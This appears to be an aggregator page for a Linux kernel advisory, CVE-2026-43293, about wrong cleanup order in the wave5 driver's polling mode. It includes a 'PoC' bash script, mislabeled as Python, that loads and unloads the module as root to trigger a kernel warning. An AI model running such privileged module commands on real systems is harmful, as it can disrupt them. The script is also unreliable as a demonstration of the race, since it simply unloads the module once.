CVE-2026-43293

Description

In the Linux kernel, the following vulnerability has been resolved: media: chips-media: wave5: Fix kthread worker destruction in polling mode Fix the cleanup order in polling mode (irq < 0) to prevent kernel warnings during module removal. Cancel the hrtimer before destroying the kthread worker to ensure work queues are empty. In polling mode, the driver uses hrtimer to periodically trigger wave5_vpu_timer_callback() which queues work via kthread_queue_work(). The kthread_destroy_worker() function validates that both work queues are empty with WARN_ON(!list_empty(&worker->work_list)) and WARN_ON(!list_empty(&worker->delayed_work_list)). The original code called kthread_destroy_worker() before hrtimer_cancel(), creating a race condition where the timer could fire during worker destruction and queue new work, triggering the WARN_ON. This causes the following warning on every module unload in polling mode: ------------[ cut here ]------------ WARNING: CPU: 2 PID: 1034 at kernel/kthread.c:1430 kthread_destroy_worker+0x84/0x98 Modules linked in: wave5(-) rpmsg_ctrl rpmsg_char ... Call trace: kthread_destroy_worker+0x84/0x98 wave5_vpu_remove+0xc8/0xe0 [wave5] platform_remove+0x30/0x58 ... ---[ end trace 0000000000000000 ]---

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < commit 0c2e752688a0ee3b89993e6de6c496d863870c93

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-43293: Triggering the race condition in wave5 driver
# This script attempts to load and unload the module to trigger the warning.
# Requires root privileges and the wave5 driver module file.

MODULE_NAME="wave5"

if [ "$EUID" -ne 0 ]; then
  echo "Please run as root"
  exit
fi

echo "[+] Loading $MODULE_NAME module..."
# Attempt to load the module (may require specific hardware/firmware)
insmod $MODULE_NAME.ko 2>/dev/null

if [ $? -eq 0 ]; then
    echo "[+] Module loaded. Unloading to trigger cleanup sequence..."
    # The vulnerability is triggered during the remove function
    rmmod $MODULE_NAME
    echo "[+] Check dmesg for WARNING: CPU: X PID: Y at kernel/kthread.c:1430"
else
    echo "[-] Failed to load module. Hardware or firmware might be missing."
fi

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43293
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43293
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43293/
[4] VulDB https://vuldb.com/cve/CVE-2026-43293
[5] https://git.kernel.org/stable/c/0c2e752688a0ee3b89993e6de6c496d863870c93
[6] https://git.kernel.org/stable/c/156020e889edf4593870d926d3c4a6d06baac44a
[7] https://git.kernel.org/stable/c/5a0c122e834b2f7f029526422c71be922960bf03
[8] https://git.kernel.org/stable/c/cc8071b1bac6568ea09d54be2d4f74dba80e17f8

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43293", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:36.377", "lastModified": "2026-05-14T19:50:34.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: chips-media: wave5: Fix kthread worker destruction in polling mode\n\nFix the cleanup order in polling mode (irq < 0) to prevent kernel warnings\nduring module removal. Cancel the hrtimer before destroying the kthread\nworker to ensure work queues are empty.\n\nIn polling mode, the driver uses hrtimer to periodically trigger\nwave5_vpu_timer_callback() which queues work via kthread_queue_work().\nThe kthread_destroy_worker() function validates that both work queues\nare empty with WARN_ON(!list_empty(&worker->work_list)) and\nWARN_ON(!list_empty(&worker->delayed_work_list)).\n\nThe original code called kthread_destroy_worker() before hrtimer_cancel(),\ncreating a race condition where the timer could fire during worker\ndestruction and queue new work, triggering the WARN_ON.\n\nThis causes the following warning on every module unload in polling mode:\n\n ------------[ cut here ]------------\n WARNING: CPU: 2 PID: 1034 at kernel/kthread.c:1430\n kthread_destroy_worker+0x84/0x98\n Modules linked in: wave5(-) rpmsg_ctrl rpmsg_char ...\n Call trace:\n kthread_destroy_worker+0x84/0x98\n wave5_vpu_remove+0xc8/0xe0 [wave5]\n platform_remove+0x30/0x58\n ...\n ---[ end trace 0000000000000000 ]---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.10", "versionEndExcluding": "6.12.75", "matchCriteriaId": "CB67FC73-CF7B-41DB-A5A5-423C53BE93EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0c2e752688a0ee3b89993e6de6c496d863870c93", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/156020e889edf4593870d926d3c4a6d06baac44a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5a0c122e834b2f7f029526422c71be922960bf03", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cc8071b1bac6568ea09d54be2d4f74dba80e17f8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}